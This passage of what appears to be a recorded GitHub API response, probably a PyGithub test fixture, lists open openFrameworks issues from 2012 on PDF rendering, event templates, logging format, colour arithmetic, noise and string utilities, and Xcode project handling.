input","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T14:42:30Z","state":"open","user":{"url":"https://api.github.com/users/pappis","gravatar_id":"fbf3d56c96cf5b891056530066549692","login":"pappis","id":1640543,"avatar_url":"https://secure.gravatar.com/avatar/fbf3d56c96cf5b891056530066549692?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4104336,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-12T10:09:42Z","body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","comments":0,"milestone":null,"number":1171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","assignee":null,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-12T10:09:42Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4081188,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-13T14:54:18Z","body":"if I have `ofEvent boolEvent` and i try to call `ofNotifyEvent( boolEvent, true )` i get a `no matching function` error as the compiler cannot coerce `true` to a `bool &`.\r\n\r\nto solve this, instead of this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nofNotifyEvent( boolEvent, true );\r\n~~~~\r\n\r\ni need to write this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nbool myBool = true;\r\nofNotifyEvent( boolEvent, myBool );\r\n~~~~\r\n\r\nthis is kind of annoying.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1167","comments":2,"milestone":null,"number":1167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1167","assignee":null,"title":"ofNotifyEvent( boolEvent, true ) fails to compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-11T12:03:34Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063456,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-11T13:21:33Z","body":"It's currently not possible to have an event without arguments\r\n\r\n`ofEvent testEvent;` -- fails to compile\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1166","comments":2,"milestone":null,"number":1166,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1166","assignee":null,"title":"ofEvent lacks simple, argument-free use case","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T12:00:19Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063417,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:41:01Z","body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","comments":6,"milestone":null,"number":1165,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","assignee":null,"title":"ofLogError, ofLogWarning lack format, ... args","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T11:56:33Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063366,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-10T16:47:19Z","body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","comments":4,"milestone":null,"number":1152,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","assignee":null,"title":"grabScreen in ofImage fails on Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-09T17:15:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4032047,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:46:40Z","body":"the module name is no longer printed if it's coming from OF itself.\r\n\r\ninstead of the constant name, a human-readable string is printed.\r\n\r\nexample output from project generator: http://pastebin.com/raw.php?i=0dp938Jx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1151","comments":6,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1151,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1151","assignee":null,"title":"shorten + simplify ofLog output","labels":[],"closed_at":null,"created_at":"2012-04-08T21:13:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023525,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1151.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1151","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1151.patch"}},{"updated_at":"2012-04-17T14:47:36Z","body":"\r\nWorking on the project generator, which has a fair amount of logging, I'm concerned about how much space we loose on each line: \r\n\r\n OF: OF_LOG_NOTICE:\r\n\r\nit's about 15-20 characters or so, pretty significant where each line is 80, so alot more wrapping happens then I'd like, making the results less cleaner or organized. \r\n\r\nI propose we alter \r\n\r\n string ofGetLogLevelName(ofLogLevel level){\r\n switch(level){\r\n case OF_LOG_VERBOSE:\r\n return \"OF_LOG_VERBOSE\";\r\n break;\r\n case OF_LOG_NOTICE:\r\n return \"OF_LOG_NOTICE\";\r\n break;\r\n case OF_LOG_WARNING:\r\n return \"OF_LOG_WARNING\";\r\n break;\r\n case OF_LOG_ERROR:\r\n return \"OF_LOG_ERROR\";\r\n break;\r\n case OF_LOG_FATAL_ERROR:\r\n return \"OF_LOG_FATAL_ERROR\";\r\n break;\r\n case OF_LOG_SILENT:\r\n return \"OF_LOG_SILENT\";\r\n break;\r\n default:\r\n return \"\";\r\n }\r\n }\r\n\r\nso that we can have something like : \r\n\r\n (of:notice) \r\n (of:verbose) \r\n (of:error) \r\n\r\nor something smaller and if we loose the all caps, maybe less threatening :)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1150","comments":4,"milestone":null,"number":1150,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1150","assignee":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"propose shortening ofLog console message length","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-08T20:32:49Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023305,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T15:00:32Z","body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","comments":0,"milestone":null,"number":1146,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","assignee":null,"title":"Document Project Generator / clean out old tools","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-04-07T14:43:53Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4015514,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T19:49:31Z","body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","comments":3,"milestone":null,"number":1145,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","assignee":null,"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-06T22:02:01Z","state":"open","user":{"url":"https://api.github.com/users/rezaali","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","login":"rezaali","id":555207,"avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4010494,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:21:01Z","body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1144,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","assignee":null,"title":"ofColor subtraction and negative values","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-06T07:56:44Z","state":"open","user":{"url":"https://api.github.com/users/jembezmamy","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","login":"jembezmamy","id":720354,"avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4001148,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-04T12:07:24Z","body":"When using the dragEvent ofDragInfo I always get the following error message:\r\n\r\nwarning: Could not find object file \"/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/devApps/macDragDropExample/buildGlutFrameworkHackedWindowLevel10.4/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n\r\nIt doesn't seem to hurt my code but is a bit annoying, especially early on when I wasn't sure if it had anything to do with compile failings. Not a big issue obviously, but it might confuse some other newbie's also.\r\n\r\n(OF 0.07 - Xcode 4.2.1 - OS X 10.7.3 - macbook pro) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1138","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1138,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1138","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"benign error message","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-04-04T11:05:57Z","state":"open","user":{"url":"https://api.github.com/users/davideo71","gravatar_id":"42c3c1acbdb4a998d8096b49745219cd","login":"davideo71","id":1611385,"avatar_url":"https://secure.gravatar.com/avatar/42c3c1acbdb4a998d8096b49745219cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3968742,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-03T17:37:10Z","body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","comments":2,"milestone":null,"number":1134,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","assignee":null,"title":"multidimensional noise output","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T16:44:55Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '55518'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"414a5c156bbe219ad21d164052b40f6c"'), ('date', 'Tue, 29 May 2012 19:27:11 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","assignee":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911629,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","assignee":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911537,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","assignee":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3910580,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 